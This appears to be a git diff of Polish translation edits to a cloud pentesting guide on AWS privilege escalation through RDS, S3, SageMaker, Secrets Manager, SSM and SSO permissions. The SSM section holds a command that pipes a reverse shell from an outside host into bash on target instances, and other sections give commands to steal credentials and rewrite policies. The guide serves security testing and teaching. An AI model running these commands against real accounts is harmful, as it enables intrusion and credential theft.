+> Będziesz musiał być w stanie **skontaktować się z bazą danych** (zwykle są one dostępne tylko z wewnętrznych sieci).
 
 **Potencjalny wpływ:** Znalezienie wrażliwych informacji w bazach danych.
 
@@ -48,7 +48,7 @@ SELECT * FROM pg_extension;
 ```
 Jeśli znajdziesz coś takiego jak **`aws_s3`**, możesz założyć, że ta baza danych ma **jakiegoś rodzaju dostęp do S3** (są inne rozszerzenia, takie jak **`aws_ml`** i **`aws_lambda`**).
 
-Również, jeśli masz uprawnienia do uruchomienia **`aws rds describe-db-clusters`**, możesz zobaczyć, czy **klaster ma przypisaną jakąkolwiek rolę IAM** w polu **`AssociatedRoles`**. Jeśli tak, możesz założyć, że baza danych była **przygotowana do uzyskania dostępu do innych usług AWS**. Na podstawie **nazwa roli** (lub jeśli możesz uzyskać **uprawnienia** roli) możesz **zgadnąć**, jaki dodatkowy dostęp ma baza danych.
+Również, jeśli masz uprawnienia do uruchomienia **`aws rds describe-db-clusters`**, możesz zobaczyć, czy **klaster ma przypisaną jakąkolwiek rolę IAM** w polu **`AssociatedRoles`**. Jeśli tak, możesz założyć, że baza danych była **przygotowana do dostępu do innych usług AWS**. Na podstawie **nazwa roli** (lub jeśli możesz uzyskać **uprawnienia** roli) możesz **zgadnąć**, jaki dodatkowy dostęp ma baza danych.
 
 Teraz, aby **przeczytać plik w obrębie bucketu**, musisz znać pełną ścieżkę. Możesz to przeczytać za pomocą:
 ```sql
@@ -71,7 +71,7 @@ SELECT * from ttemp;
 // Delete table
 DROP TABLE ttemp;
 ```
-Jeśli miałeś **surowe dane uwierzytelniające AWS**, mógłbyś je również wykorzystać do uzyskania dostępu do danych S3 za pomocą:
+Jeśli miałeś **surowe dane uwierzytelniające AWS**, mógłbyś również użyć ich do uzyskania dostępu do danych S3 za pomocą:
 ```sql
 SELECT aws_s3.table_import_from_s3(
 't', '', '(format csv)',
@@ -80,7 +80,7 @@ aws_commons.create_aws_credentials('sample_access_key', 'sample_secret_key', '')
 );
 ```
 > [!NOTE]
-> Postgresql **nie musi zmieniać żadnej zmiennej grupy parametrów**, aby uzyskać dostęp do S3.
+> Postgresql **nie wymaga zmiany żadnej zmiennej grupy parametrów**, aby uzyskać dostęp do S3.
 
 #### Mysql (Aurora)
 
@@ -89,7 +89,7 @@ aws_commons.create_aws_credentials('sample_access_key', 'sample_secret_key', '')
 
 Wewnątrz mysql uruchom **`show variables;`** i jeśli zmienne takie jak **`aws_default_s3_role`**, **`aurora_load_from_s3_role`**, **`aurora_select_into_s3_role`** mają wartości, możesz założyć, że baza danych jest przygotowana do uzyskania dostępu do danych S3.
 
-Ponadto, jeśli masz uprawnienia do uruchomienia **`aws rds describe-db-clusters`**, możesz sprawdzić, czy klaster ma jakąkolwiek **powiązaną rolę**, co zazwyczaj oznacza dostęp do usług AWS.
+Ponadto, jeśli masz uprawnienia do uruchomienia **`aws rds describe-db-clusters`**, możesz sprawdzić, czy klaster ma jakąkolwiek **powiązaną rolę**, co zazwyczaj oznacza dostęp do usług AWS).
 
 Teraz, aby **przeczytać plik w obrębie bucketu**, musisz znać pełną ścieżkę. Możesz go przeczytać za pomocą:
 ```sql
@@ -100,7 +100,7 @@ DROP TABLE ttemp;
 ```
 ### `rds:AddRoleToDBCluster`, `iam:PassRole`
 
-Napastnik z uprawnieniami `rds:AddRoleToDBCluster` i `iam:PassRole` może **dodać określoną rolę do istniejącej instancji RDS**. Może to umożliwić napastnikowi **dostęp do wrażliwych danych** lub modyfikację danych w obrębie instancji.
+Atakujący z uprawnieniami `rds:AddRoleToDBCluster` i `iam:PassRole` może **dodać określoną rolę do istniejącej instancji RDS**. Może to umożliwić atakującemu **dostęp do wrażliwych danych** lub modyfikację danych w obrębie instancji.
 ```bash
 aws add-role-to-db-cluster --db-cluster-identifier <value> --role-arn <value>
 ```
@@ -124,7 +124,7 @@ aws --region eu-west-1 --profile none-priv rds create-db-instance \
 > [!NOTE]
 > TODO: Test
 
-Napastnik z uprawnieniami `rds:CreateDBInstance` i `iam:PassRole` może **utworzyć nową instancję RDS z przypisaną określoną rolą**. Napastnik może następnie potencjalnie **uzyskać dostęp do wrażliwych danych** lub zmodyfikować dane w obrębie instancji.
+Atakujący z uprawnieniami `rds:CreateDBInstance` i `iam:PassRole` może **utworzyć nową instancję RDS z przypisaną określoną rolą**. Atakujący może następnie potencjalnie **uzyskać dostęp do wrażliwych danych** lub zmodyfikować dane w instancji.
 
 > [!WARNING]
 > Niektóre wymagania dotyczące roli/profilu instancji do przypisania (z [**tutaj**](https://docs.aws.amazon.com/cli/latest/reference/rds/create-db-instance.html)):
@@ -139,10 +139,10 @@ aws rds create-db-instance --db-instance-identifier malicious-instance --db-inst
 
 ### `rds:AddRoleToDBInstance`, `iam:PassRole`
 
-Atakujący z uprawnieniami `rds:AddRoleToDBInstance` i `iam:PassRole` może **dodać określoną rolę do istniejącej instancji RDS**. Może to pozwolić atakującemu na **dostęp do wrażliwych danych** lub modyfikację danych w obrębie instancji.
+Atakujący z uprawnieniami `rds:AddRoleToDBInstance` i `iam:PassRole` może **dodać określoną rolę do istniejącej instancji RDS**. Może to umożliwić atakującemu **dostęp do wrażliwych danych** lub modyfikację danych w instancji.
 
 > [!WARNING]
-> Instancja DB musi być poza klastrem, aby to było możliwe.
+> Instancja DB musi być poza klastrem, aby to zadziałało.
 ```bash
 aws rds add-role-to-db-instance --db-instance-identifier target-instance --role-arn arn:aws:iam::123456789012:role/MyRDSEnabledRole --feature-name <feat-name>
 ```
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-redshift-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-redshift-privesc.md
index 2360898b7..bd9dee4dd 100644
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-redshift-privesc.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-redshift-privesc.md
@@ -35,7 +35,7 @@ psql -h redshift-cluster-1.asdjuezc439a.us-east-1.redshift.amazonaws.com -U "IAM
 
 ### `redshift:DescribeClusters`, `redshift:ModifyCluster?`
 
-Możliwe jest **zmodyfikowanie hasła głównego** użytkownika wewnętrznego postgres (redshift) z aws cli (myślę, że to są potrzebne uprawnienia, ale jeszcze ich nie testowałem):
+Możliwe jest **zmodyfikowanie hasła głównego** użytkownika postgres (redshit) z aws cli (myślę, że to są potrzebne uprawnienia, ale jeszcze ich nie testowałem):
 ```
 aws redshift modify-cluster –cluster-identifier <identifier-for-the cluster> –master-user-password ‘master-password’;
 ```
@@ -46,7 +46,7 @@ aws redshift modify-cluster –cluster-identifier <identifier-for-the cluster> 
 > [!WARNING]
 > Aby uzyskać dostęp do wszystkich poniższych zasobów, musisz **określić rolę do użycia**. Klaster Redshift **może mieć przypisaną listę ról AWS**, które możesz użyć **jeśli znasz ARN** lub możesz po prostu ustawić "**default**", aby użyć domyślnej przypisanej.
 
-> Ponadto, jak [**wyjaśniono tutaj**](https://docs.aws.amazon.com/redshift/latest/mgmt/authorizing-redshift-service.html), Redshift pozwala również na łączenie ról (o ile pierwsza może przyjąć drugą), aby uzyskać dalszy dostęp, po prostu **oddzielając** je przecinkiem: `iam_role 'arn:aws:iam::123456789012:role/RoleA,arn:aws:iam::210987654321:role/RoleB';`
+> Ponadto, jak [**wyjaśniono tutaj**](https://docs.aws.amazon.com/redshift/latest/mgmt/authorizing-redshift-service.html), Redshift pozwala również na łączenie ról (o ile pierwsza może przyjąć drugą), aby uzyskać dalszy dostęp, oddzielając je po prostu **przecinkiem**: `iam_role 'arn:aws:iam::123456789012:role/RoleA,arn:aws:iam::210987654321:role/RoleB';`
 
 ### Lambdy
 
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-s3-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-s3-privesc.md
index e51469dd1..7f7e82fe2 100644
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-s3-privesc.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-s3-privesc.md
@@ -6,9 +6,9 @@
 
 ### `s3:PutBucketNotification`, `s3:PutObject`, `s3:GetObject`
 
-Napastnik z tymi uprawnieniami do interesujących bucketów może być w stanie przejąć zasoby i eskalować uprawnienia.
+Atakujący z tymi uprawnieniami do interesujących bucketów może być w stanie przejąć zasoby i eskalować uprawnienia.
 
-Na przykład, napastnik z tymi **uprawnieniami do bucketu cloudformation** o nazwie "cf-templates-nohnwfax6a6i-us-east-1" będzie w stanie przejąć wdrożenie. Dostęp można przyznać za pomocą następującej polityki:
+Na przykład, atakujący z tymi **uprawnieniami do bucketu cloudformation** o nazwie "cf-templates-nohnwfax6a6i-us-east-1" będzie w stanie przejąć wdrożenie. Dostęp można przyznać za pomocą następującej polityki:
 ```json
 {
 "Version": "2012-10-17",
@@ -34,7 +34,7 @@ Na przykład, napastnik z tymi **uprawnieniami do bucketu cloudformation** o naz
 ]
 }
 ```
-I przejęcie jest możliwe, ponieważ istnieje **mały przedział czasowy od momentu przesłania szablonu** do koszyka do momentu, gdy **szablon jest wdrażany**. Napastnik może po prostu stworzyć **funkcję lambda** w swoim koncie, która **uruchomi się, gdy zostanie wysłane powiadomienie z koszyka**, i **przejmie** **zawartość** tego **koszyka**.
+I możliwe jest przejęcie, ponieważ istnieje **mały czas na przejęcie od momentu przesłania szablonu** do koszyka do momentu, gdy **szablon jest wdrażany**. Atakujący może po prostu stworzyć **funkcję lambda** na swoim koncie, która **wywoła się, gdy zostanie wysłane powiadomienie z koszyka**, i **przejmie** **zawartość** tego **koszyka**.
 
 ![](<../../../images/image (174).png>)
 
@@ -44,15 +44,15 @@ Aby uzyskać więcej informacji, sprawdź oryginalne badania: [https://rhinosecu
 ### `s3:PutObject`, `s3:GetObject` <a href="#s3putobject-s3getobject" id="s3putobject-s3getobject"></a>
 
 To są uprawnienia do **pobierania i przesyłania obiektów do S3**. Kilka usług w AWS (i poza nim) używa przechowywania S3 do przechowywania **plików konfiguracyjnych**.\
-Napastnik z **dostępem do odczytu** do nich może znaleźć **wrażliwe informacje** w nich.\
-Napastnik z **dostępem do zapisu** do nich mógłby **zmodyfikować dane, aby nadużyć jakiejś usługi i spróbować podnieść uprawnienia**.\
+Atakujący z **dostępem do odczytu** do nich może znaleźć **wrażliwe informacje** w nich.\
+Atakujący z **dostępem do zapisu** do nich mógłby **zmodyfikować dane, aby nadużyć jakiejś usługi i spróbować podnieść uprawnienia**.\
 Oto kilka przykładów:
 
-- Jeśli instancja EC2 przechowuje **dane użytkownika w koszyku S3**, napastnik mógłby je zmodyfikować, aby **wykonać dowolny kod wewnątrz instancji EC2**.
+- Jeśli instancja EC2 przechowuje **dane użytkownika w koszyku S3**, atakujący mógłby je zmodyfikować, aby **wykonać dowolny kod wewnątrz instancji EC2**.
 
 ### `s3:PutBucketPolicy`
 
-Napastnik, który musi być **z tego samego konta**, w przeciwnym razie wystąpi błąd `The specified method is not allowed`, z tym uprawnieniem będzie mógł przyznać sobie więcej uprawnień do koszyka(ów), co pozwoli mu na odczyt, zapis, modyfikację, usunięcie i ujawnienie koszyków.
+Atakujący, który musi być **z tego samego konta**, w przeciwnym razie wystąpi błąd `The specified method is not allowed`, z tym uprawnieniem będzie mógł przyznać sobie więcej uprawnień do koszyka(ów), co pozwoli mu na odczyt, zapis, modyfikację, usunięcie i ujawnienie koszyków.
 ```bash
 # Update Bucket policy
 aws s3api put-bucket-policy --policy file:///root/policy.json --bucket <bucket-name>
@@ -111,7 +111,7 @@ aws s3api put-bucket-policy --policy file:///root/policy.json --bucket <bucket-n
 ### `s3:GetBucketAcl`, `s3:PutBucketAcl`
 
 Napastnik mógłby nadużyć tych uprawnień, aby **przyznać sobie więcej dostępu** do konkretnych koszy.\
-Należy zauważyć, że napastnik nie musi pochodzić z tego samego konta. Co więcej, dostęp do zapisu
+Należy zauważyć, że napastnik nie musi pochodzić z tego samego konta. Ponadto dostęp do zapisu
 ```bash
 # Update bucket ACL
 aws s3api get-bucket-acl --bucket <bucket-name>
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sagemaker-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sagemaker-privesc.md
index 957274a5c..20afeefdc 100644
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sagemaker-privesc.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sagemaker-privesc.md
@@ -4,7 +4,7 @@
 
 {{#include ../../../banners/hacktricks-training.md}}
 
-### `iam:PassRole` , `sagemaker:CreateNotebookInstance`, `sagemaker:CreatePresignedNotebookInstanceUrl`
+### `iam:PassRole`, `sagemaker:CreateNotebookInstance`, `sagemaker:CreatePresignedNotebookInstanceUrl`
 
 Zacznij tworzyć notatnik z rolą IAM, aby uzyskać do niego dostęp:
 ```bash
@@ -21,11 +21,11 @@ Przejdź do adresu URL w przeglądarce i kliknij na \`Open JupyterLab\` w prawym
 
 Teraz możliwe jest uzyskanie dostępu do poświadczeń metadanych roli IAM.
 
-**Potencjalny wpływ:** Privesc do roli usługi sagemaker określonej.
+**Potencjalny wpływ:** Privesc do roli serwisowej sagemaker.
 
 ### `sagemaker:CreatePresignedNotebookInstanceUrl`
 
-Jeśli na nim **już działają notatniki Jupyter** i możesz je wylistować za pomocą `sagemaker:ListNotebookInstances` (lub odkryć je w inny sposób). Możesz **wygenerować URL dla nich, uzyskać do nich dostęp i ukraść poświadczenia, jak wskazano w poprzedniej technice**.
+Jeśli na nim **już działają notatniki Jupyter** i możesz je wylistować za pomocą `sagemaker:ListNotebookInstances` (lub odkryć je w inny sposób). Możesz **wygenerować dla nich URL, uzyskać do nich dostęp i ukraść poświadczenia, jak wskazano w poprzedniej technice**.
 ```bash
 aws sagemaker create-presigned-notebook-instance-url --notebook-instance-name <name>
 ```
@@ -94,7 +94,7 @@ curl "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI"
 
 ### `sagemaker:CreateHyperParameterTuningJob`, `iam:PassRole`
 
-Atakujący z tymi uprawnieniami będzie (potencjalnie) w stanie stworzyć **zadanie treningowe hyperparametrów**, **uruchamiając dowolny kontener** na nim z **przypisaną rolą**.\
+Napastnik z tymi uprawnieniami będzie (potencjalnie) w stanie stworzyć **zadanie treningowe hyperparametrów**, **uruchamiając dowolny kontener** na nim z **przypisaną rolą**.\
 &#xNAN;_&#x49; nie wykorzystałem, z powodu braku czasu, ale wygląda podobnie do wcześniejszych exploitów, śmiało wyślij PR z szczegółami eksploatacji._
 
 ## Odniesienia
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-secrets-manager-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-secrets-manager-privesc.md
index 219d542a8..9a995c9cd 100644
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-secrets-manager-privesc.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-secrets-manager-privesc.md
@@ -1,4 +1,4 @@
-# AWS - Secrets Manager Privesc
+# AWS - Przejęcie uprawnień w Secrets Manager
 
 {{#include ../../../banners/hacktricks-training.md}}
 
@@ -16,11 +16,11 @@ Atakujący z tym uprawnieniem może uzyskać **zapisana wartość wewnątrz sekr
 ```bash
 aws secretsmanager get-secret-value --secret-id <secret_name> # Get value
 ```
-**Potencjalny wpływ:** Uzyskanie dostępu do wysoce wrażliwych danych w usłudze AWS Secrets Manager.
+**Potencjalny wpływ:** Uzyskanie dostępu do danych o wysokiej wrażliwości w usłudze AWS Secrets Manager.
 
 ### `secretsmanager:GetResourcePolicy`, `secretsmanager:PutResourcePolicy`, (`secretsmanager:ListSecrets`)
 
-Dzięki wcześniejszym uprawnieniom możliwe jest **przyznanie dostępu innym podmiotom/kontom (nawet zewnętrznym)** do uzyskania dostępu do **sekretu**. Należy pamiętać, że aby **odczytać sekrety zaszyfrowane** kluczem KMS, użytkownik musi również mieć **dostęp do klucza KMS** (więcej informacji na stronie [KMS Enum](../aws-services/aws-kms-enum.md)).
+Dzięki wcześniejszym uprawnieniom możliwe jest **przyznanie dostępu innym podmiotom/kontom (nawet zewnętrznym)** do uzyskania dostępu do **sekretu**. Należy zauważyć, że aby **odczytać sekrety zaszyfrowane** kluczem KMS, użytkownik musi również mieć **dostęp do klucza KMS** (więcej informacji na stronie [KMS Enum](../aws-services/aws-kms-enum.md)).
 ```bash
 aws secretsmanager list-secrets
 aws secretsmanager get-resource-policy --secret-id <secret_name>
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sns-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sns-privesc.md
index 833e75b8f..ce5a5f4ae 100644
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sns-privesc.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sns-privesc.md
@@ -16,7 +16,7 @@ Napastnik mógłby wysłać złośliwe lub niechciane wiadomości do tematu SNS,
 ```bash
 aws sns publish --topic-arn <value> --message <value>
 ```
-**Potencjalny wpływ**: Wykorzystanie podatności, uszkodzenie danych, niezamierzone działania lub wyczerpanie zasobów.
+**Potencjalny wpływ**: Wykorzystanie luk, uszkodzenie danych, niezamierzone działania lub wyczerpanie zasobów.
 
 ### `sns:Subscribe`
 
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sqs-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sqs-privesc.md
index 40ddbbc56..652631d83 100644
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sqs-privesc.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sqs-privesc.md
@@ -12,7 +12,7 @@ Aby uzyskać więcej informacji, sprawdź:
 
 ### `sqs:AddPermission`
 
-Napastnik mógłby wykorzystać tę uprawnienie do przyznania nieautoryzowanym użytkownikom lub usługom dostępu do kolejki SQS, tworząc nowe zasady lub modyfikując istniejące zasady. Może to prowadzić do nieautoryzowanego dostępu do wiadomości w kolejce lub manipulacji kolejką przez nieautoryzowane podmioty.
+Atakujący mógłby wykorzystać to uprawnienie do przyznania nieautoryzowanym użytkownikom lub usługom dostępu do kolejki SQS, tworząc nowe polityki lub modyfikując istniejące polityki. Może to prowadzić do nieautoryzowanego dostępu do wiadomości w kolejce lub manipulacji kolejką przez nieautoryzowane podmioty.
 ```bash
 cssCopy codeaws sqs add-permission --queue-url <value> --actions <value> --aws-account-ids <value> --label <value>
 ```
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ssm-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ssm-privesc.md
index 6e84b5026..f56a91be2 100644
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ssm-privesc.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ssm-privesc.md
@@ -12,7 +12,7 @@ Aby uzyskać więcej informacji o SSM, sprawdź:
 
 ### `ssm:SendCommand`
 
-Atakujący z uprawnieniem **`ssm:SendCommand`** może **wykonywać polecenia w instancjach** działających z Amazon SSM Agent i **skompromitować rolę IAM** działającą w jej wnętrzu.
+Atakujący z uprawnieniem **`ssm:SendCommand`** może **wykonywać polecenia w instancjach** działających z Amazon SSM Agent i **skompromitować rolę IAM** działającą w jej obrębie.
 ```bash
 # Check for configured instances
 aws ssm describe-instance-information
@@ -23,7 +23,7 @@ aws ssm send-command --instance-ids "$INSTANCE_ID" \
 --document-name "AWS-RunShellScript" --output text \
 --parameters commands="curl https://reverse-shell.sh/4.tcp.ngrok.io:16084 | bash"
 ```
-W przypadku, gdy używasz tej techniki do eskalacji uprawnień w już skompromitowanej instancji EC2, możesz po prostu przechwycić rev shell lokalnie za pomocą:
+W przypadku, gdy używasz tej techniki do eskalacji uprawnień w już skompromitowanej instancji EC2, możesz po prostu przechwycić powłokę rev lokalnie za pomocą:
 ```bash
 # If you are in the machine you can capture the reverseshel inside of it
 nc -lvnp 4444 #Inside the EC2 instance
@@ -31,11 +31,11 @@ aws ssm send-command --instance-ids "$INSTANCE_ID" \
 --document-name "AWS-RunShellScript" --output text \
 --parameters commands="curl https://reverse-shell.sh/127.0.0.1:4444 | bash"
 ```
-**Potencjalny wpływ:** Bezpośrednie privesc do ról IAM EC2 przypisanych do działających instancji z uruchomionymi agentami SSM.
+**Potencjalny wpływ:** Bezpośrednie podniesienie uprawnień do ról IAM EC2 przypisanych do działających instancji z uruchomionymi agentami SSM.
 
 ### `ssm:StartSession`
 
-Atakujący z uprawnieniem **`ssm:StartSession`** może **rozpocząć sesję podobną do SSH w instancjach** uruchamiających agenta Amazon SSM i **skompromitować rolę IAM** działającą wewnątrz niej.
+Napastnik z uprawnieniem **`ssm:StartSession`** może **rozpocząć sesję podobną do SSH w instancjach** uruchamiających agenta Amazon SSM i **skompromitować rolę IAM** działającą wewnątrz niej.
 ```bash
 # Check for configured instances
 aws ssm describe-instance-information
@@ -47,11 +47,11 @@ aws ssm start-session --target "$INSTANCE_ID"
 > [!CAUTION]
 > Aby rozpocząć sesję, musisz mieć zainstalowany **SessionManagerPlugin**: [https://docs.aws.amazon.com/systems-manager/latest/userguide/install-plugin-macos-overview.html](https://docs.aws.amazon.com/systems-manager/latest/userguide/install-plugin-macos-overview.html)
 
-**Potencjalny wpływ:** Bezpośrednie privesc do ról IAM EC2 przypisanych do działających instancji z uruchomionymi agentami SSM.
+**Potencjalny wpływ:** Bezpośrednie podniesienie uprawnień do ról IAM EC2 przypisanych do działających instancji z uruchomionymi agentami SSM.
 
-#### Privesc do ECS
+#### Podniesienie uprawnień do ECS
 
-Gdy **zadania ECS** są uruchamiane z **włączonym `ExecuteCommand`**, użytkownicy z wystarczającymi uprawnieniami mogą użyć `ecs execute-command`, aby **wykonać polecenie** wewnątrz kontenera.\
+Gdy **zadania ECS** są uruchamiane z **włączoną opcją `ExecuteCommand`**, użytkownicy z wystarczającymi uprawnieniami mogą użyć `ecs execute-command`, aby **wykonać polecenie** wewnątrz kontenera.\
 Zgodnie z [**dokumentacją**](https://aws.amazon.com/blogs/containers/new-using-amazon-ecs-exec-access-your-containers-fargate-ec2/) odbywa się to poprzez utworzenie bezpiecznego kanału między urządzeniem, którego używasz do inicjowania polecenia “_exec_”, a docelowym kontenerem z SSM Session Manager. (Wtyczka SSM Session Manager jest niezbędna do działania)\
 Dlatego użytkownicy z `ssm:StartSession` będą mogli **uzyskać powłokę wewnątrz zadań ECS** z tą opcją włączoną, po prostu uruchamiając:
 ```bash
@@ -63,7 +63,7 @@ aws ssm start-session --target "ecs:CLUSTERNAME_TASKID_RUNTIMEID"
 
 ### `ssm:ResumeSession`
 
-Atakujący z uprawnieniem **`ssm:ResumeSession`** może ponownie **uruchomić sesję podobną do SSH w instancjach** uruchamiających Amazon SSM Agent w stanie sesji SSM **rozłączonej** i **skompromitować rolę IAM** działającą w jej obrębie.
+Atakujący z uprawnieniem **`ssm:ResumeSession`** może ponownie **uruchomić sesję podobną do SSH w instancjach** uruchamiających Amazon SSM Agent z **rozłączonym** stanem sesji SSM i **skompromitować rolę IAM** działającą w jej obrębie.
 ```bash
 # Check for configured instances
 aws ssm describe-sessions
@@ -87,15 +87,15 @@ aws ssm get-parameter --name id_rsa --with-decryption
 
 ### `ssm:ListCommands`
 
-Atakujący z tym uprawnieniem może wylistować wszystkie **komendy** wysłane i mieć nadzieję na znalezienie **wrażliwych informacji** w nich.
+Atakujący z tym uprawnieniem może wylistować wszystkie **komendy** wysłane i miejmy nadzieję znaleźć **wrażliwe informacje** w nich.
 ```
 aws ssm list-commands
 ```
-**Potencjalny wpływ:** Znalezienie wrażliwych informacji w liniach poleceń.
+**Potencjalny wpływ:** Znalezienie wrażliwych informacji w poleceniach.
 
 ### `ssm:GetCommandInvocation`, (`ssm:ListCommandInvocations` | `ssm:ListCommands`)
 
-Atakujący z tymi uprawnieniami może wylistować wszystkie **polecenia** wysłane i **przeczytać wyniki** generowane, mając nadzieję na znalezienie **wrażliwych informacji** w nich.
+Napastnik z tymi uprawnieniami może wylistować wszystkie **polecenia** wysłane i **przeczytać wyniki** generowane, mając nadzieję na znalezienie **wrażliwych informacji** w nich.
 ```bash
 # You can use any of both options to get the command-id and instance id
 aws ssm list-commands
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sso-and-identitystore-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sso-and-identitystore-privesc.md
index 49be6b2bd..f657ac395 100644
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sso-and-identitystore-privesc.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sso-and-identitystore-privesc.md
@@ -1,4 +1,4 @@
-# AWS - SSO & identitystore Privesc
+# AWS - SSO i identitystore Privesc
 
 {{#include ../../../banners/hacktricks-training.md}}
 
@@ -15,13 +15,13 @@ Aby uzyskać więcej informacji na temat AWS Identity Center / AWS SSO, sprawdź
 > Użytkownicy z innych kont mogą to zrobić tylko, jeśli konto jest **Delegowanym Administratorem.**\
 > [Sprawdź dokumentację, aby uzyskać więcej informacji.](https://docs.aws.amazon.com/singlesignon/latest/userguide/delegated-admin.html)
 
-### ~~Resetuj hasło~~
+### ~~Resetowanie hasła~~
 
-Łatwym sposobem na eskalację uprawnień w takich przypadkach byłoby posiadanie uprawnienia, które pozwala na resetowanie haseł użytkowników. Niestety, możliwe jest tylko wysłanie e-maila do użytkownika w celu zresetowania jego hasła, więc potrzebujesz dostępu do e-maila użytkownika.
+Łatwym sposobem na eskalację uprawnień w takich przypadkach byłoby posiadanie uprawnienia, które pozwala na resetowanie haseł użytkowników. Niestety, możliwe jest tylko wysłanie e-maila do użytkownika w celu zresetowania hasła, więc potrzebujesz dostępu do e-maila użytkownika.
 
 ### `identitystore:CreateGroupMembership`
 
-Dzięki temu uprawnieniu możliwe jest dodanie użytkownika do grupy, aby odziedziczył wszystkie uprawnienia, które ma grupa.
+Dzięki temu uprawnieniu możliwe jest dodanie użytkownika do grupy, aby mógł on dziedziczyć wszystkie uprawnienia, które ma grupa.
 ```bash
 aws identitystore create-group-membership --identity-store-id <tore-id> --group-id <group-id> --member-id UserId=<user-id>
 ```
@@ -60,7 +60,7 @@ aws sso-admin provision-permission-set --instance-arn <instance-arn> --permissio
 ```
 ### `sso:AttachCustomerManagedPolicyReferenceToPermissionSet`, `sso:ProvisionPermissionSet`
 
-Napastnik z tymi uprawnieniami mógłby przyznać dodatkowe uprawnienia do Zestawu Uprawnień, który jest przyznany użytkownikowi pod jego kontrolą.
+Atakujący z tymi uprawnieniami mógłby przyznać dodatkowe uprawnienia do Zestawu Uprawnień, który jest przyznany użytkownikowi pod jego kontrolą.
 
 > [!WARNING]
 > Aby nadużyć tych uprawnień w tym przypadku, musisz znać **nazwę polityki zarządzanej przez klienta, która znajduje się we WSZYSTKICH kontach**, które będą miały wpływ.
@@ -83,7 +83,7 @@ Zwraca krótkoterminowe poświadczenia STS dla podanej nazwy roli przypisanej do
 ```
 aws sso get-role-credentials --role-name <value> --account-id <value> --access-token <value>
 ```
-Jednak potrzebujesz tokena dostępu, którego nie jestem pewien, jak uzyskać (TODO).
+Jednak potrzebujesz tokena dostępu, którego nie jestem pewien, jak zdobyć (TODO).
 
 ### `sso:DetachManagedPolicyFromPermissionSet`
 
@@ -105,7 +105,7 @@ aws sso-admin delete-inline-policy-from-permission-set --instance-arn <SSOInstan
 ```
 ### `sso:DeletePermissionBoundaryFromPermissionSet`
 
-Napastnik z tym uprawnieniem może usunąć Granicę Uprawnień z zestawu uprawnień. Możliwe jest przyznanie **większych uprawnień poprzez usunięcie ograniczeń na Zestawie Uprawnień** nadanych przez Granicę Uprawnień.
+Atakujący z tym uprawnieniem może usunąć Granicę Uprawnień z zestawu uprawnień. Możliwe jest przyznanie **większych uprawnień poprzez usunięcie ograniczeń na Zestawie Uprawnień** nadanych przez Granicę Uprawnień.
 ```bash
 aws sso-admin   delete-permissions-boundary-from-permission-set --instance-arn <value> --permission-set-arn <value>
 ```
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-stepfunctions-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-stepfunctions-privesc.md
index ff06fe5b9..aea0dd82d 100644
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-stepfunctions-privesc.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-stepfunctions-privesc.md
@@ -14,22 +14,22 @@ Aby uzyskać więcej informacji na temat tej usługi AWS, sprawdź:
 
 Te techniki eskalacji uprawnień będą wymagały użycia niektórych zasobów funkcji kroków AWS, aby wykonać pożądane działania eskalacji uprawnień.
 
-Aby sprawdzić wszystkie możliwe akcje, możesz przejść do swojego konta AWS, wybrać akcję, którą chcesz użyć, i zobaczyć parametry, które wykorzystuje, jak w:
+Aby sprawdzić wszystkie możliwe działania, możesz przejść do swojego konta AWS, wybrać działanie, które chcesz użyć, i zobaczyć parametry, które wykorzystuje, jak w:
 
 <figure><img src="../../../images/telegram-cloud-photo-size-4-5920521132757336440-y.jpg" alt=""><figcaption></figcaption></figure>
 
-Możesz również przejść do dokumentacji API AWS i sprawdzić dokumentację każdej akcji:
+Możesz również przejść do dokumentacji API AWS i sprawdzić dokumentację każdego działania:
 
 - [**AddUserToGroup**](https://docs.aws.amazon.com/IAM/latest/APIReference/API_AddUserToGroup.html)
 - [**GetSecretValue**](https://docs.aws.amazon.com/secretsmanager/latest/apireference/API_GetSecretValue.html)
 
 ### `states:TestState` & `iam:PassRole`
 
